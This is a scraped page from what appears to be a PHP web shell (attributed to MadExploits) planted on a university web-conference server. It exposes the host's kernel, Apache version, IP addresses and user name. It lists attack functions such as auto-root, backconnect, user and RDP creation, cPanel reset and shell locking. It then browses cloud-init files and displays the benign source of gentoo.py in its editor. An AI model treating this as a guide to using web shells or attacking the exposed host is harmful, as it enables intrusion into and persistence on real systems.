Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.142.130.174
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
cloudinit /
distros /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
package_management
[ DIR ]
drwxr-xr-x
parsers
[ DIR ]
drwxr-xr-x
OpenCloudOS.py
277
B
-rw-r--r--
TencentOS.py
277
B
-rw-r--r--
__init__.py
65.15
KB
-rw-r--r--
almalinux.py
151
B
-rw-r--r--
alpine.py
24.35
KB
-rw-r--r--
amazon.py
907
B
-rw-r--r--
aosc.py
4.38
KB
-rw-r--r--
arch.py
4.92
KB
-rw-r--r--
azurelinux.py
2.35
KB
-rw-r--r--
bsd.py
6.34
KB
-rw-r--r--
bsd_utils.py
1.41
KB
-rw-r--r--
centos.py
151
B
-rw-r--r--
cloudlinux.py
151
B
-rw-r--r--
cos.py
247
B
-rw-r--r--
debian.py
10.6
KB
-rw-r--r--
dragonflybsd.py
230
B
-rw-r--r--
eurolinux.py
151
B
-rw-r--r--
fedora.py
437
B
-rw-r--r--
freebsd.py
8.53
KB
-rw-r--r--
gentoo.py
4.57
KB
-rw-r--r--
mariner.py
1.7
KB
-rw-r--r--
miraclelinux.py
151
B
-rw-r--r--
netbsd.py
5.51
KB
-rw-r--r--
networking.py
10.81
KB
-rw-r--r--
openbsd.py
2.37
KB
-rw-r--r--
openeuler.py
275
B
-rw-r--r--
openmandriva.py
237
B
-rw-r--r--
opensuse-leap.py
247
B
-rw-r--r--
opensuse-microos.py
247
B
-rw-r--r--
opensuse-tumbleweed.py
247
B
-rw-r--r--
opensuse.py
9.96
KB
-rw-r--r--
photon.py
5.36
KB
-rw-r--r--
rhel.py
7.98
KB
-rw-r--r--
rhel_util.py
1.4
KB
-rw-r--r--
rocky.py
151
B
-rw-r--r--
sle-micro.py
247
B
-rw-r--r--
sle_hpc.py
247
B
-rw-r--r--
sles.py
247
B
-rw-r--r--
suse.py
81
B
-rw-r--r--
ubuntu.py
2.32
KB
-rw-r--r--
ug_util.py
9.77
KB
-rw-r--r--
virtuozzo.py
151
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : gentoo.py
# Copyright (C) 2014 Rackspace, US Inc. # Copyright (C) 2016 Matthew Thode. # # Author: Nate House <nathan.house@rackspace.com> # Author: Matthew Thode <prometheanfire@gentoo.org> # # This file is part of cloud-init. See LICENSE file for license information. import logging from cloudinit import distros, helpers, subp, util from cloudinit.distros import PackageList from cloudinit.distros.parsers.hostname import HostnameConf from cloudinit.settings import PER_ALWAYS, PER_INSTANCE LOG = logging.getLogger(__name__) class Distro(distros.Distro): locale_gen_fn = "/etc/locale.gen" hostname_conf_fn = "/etc/conf.d/hostname" default_locale = "en_US.UTF-8" # C.UTF8 makes sense to generate, but is not selected # Add /etc/locale.gen entries to this list to support more locales locales = ["C.UTF8 UTF-8", "en_US.UTF-8 UTF-8"] def __init__(self, name, cfg, paths): distros.Distro.__init__(self, name, cfg, paths) # This will be used to restrict certain # calls from repeatedly happening (when they # should only happen say once per instance...) self._runner = helpers.Runners(paths) self.osfamily = "gentoo" # Fix sshd restarts cfg["ssh_svcname"] = "/etc/init.d/sshd" if distros.uses_systemd(): LOG.error("Cloud-init does not support systemd with gentoo") def apply_locale(self, _, out_fn=None): """rc-only - not compatible with systemd Locales need to be added to /etc/locale.gen and generated prior to selection. Default to en_US.UTF-8 for simplicity. """ util.write_file(self.locale_gen_fn, "\n".join(self.locales), mode=644) # generate locales subp.subp(["locale-gen"], capture=False) # select locale subp.subp( ["eselect", "locale", "set", self.default_locale], capture=False ) def install_packages(self, pkglist: PackageList): self.update_package_sources() self.package_command("", pkgs=pkglist) def _write_hostname(self, hostname, filename): conf = None try: # Try to update the previous one # so lets see if we can read it first. conf = self._read_hostname_conf(filename) except IOError: create_hostname_file = util.get_cfg_option_bool( self._cfg, "create_hostname_file", True ) if create_hostname_file: pass else: LOG.info( "create_hostname_file is False; hostname file not created" ) return if not conf: conf = HostnameConf("") # Many distro's format is the hostname by itself, and that is the # way HostnameConf works but gentoo expects it to be in # hostname="the-actual-hostname" conf.set_hostname('hostname="%s"' % hostname) util.write_file(filename, str(conf), 0o644) def _read_system_hostname(self): sys_hostname = self._read_hostname(self.hostname_conf_fn) return self.hostname_conf_fn, sys_hostname @staticmethod def _read_hostname_conf(filename): conf = HostnameConf(util.load_text_file(filename)) conf.parse() return conf def _read_hostname(self, filename, default=None): hostname = None try: conf = self._read_hostname_conf(filename) hostname = conf.hostname except IOError: pass if not hostname: return default return hostname def set_timezone(self, tz): distros.set_etc_timezone(tz=tz, tz_file=self._find_tz_file(tz)) def package_command(self, command, args=None, pkgs=None): cmd = ["emerge"] # Redirect output cmd.append("--quiet") if command == "upgrade": cmd.extend(["--update", "world"]) else: if pkgs is None: pkgs = [] if args and isinstance(args, str): cmd.append(args) elif args and isinstance(args, list): cmd.extend(args) if command: cmd.append(command) pkglist = util.expand_package_list("%s-%s", pkgs) cmd.extend(pkglist) # Allow the output of this to flow outwards (ie not be captured) subp.subp(cmd, capture=False) def update_package_sources(self, *, force=False): self._runner.run( "update-sources", self.package_command, ["--sync"], freq=PER_ALWAYS if force else PER_INSTANCE, )
Close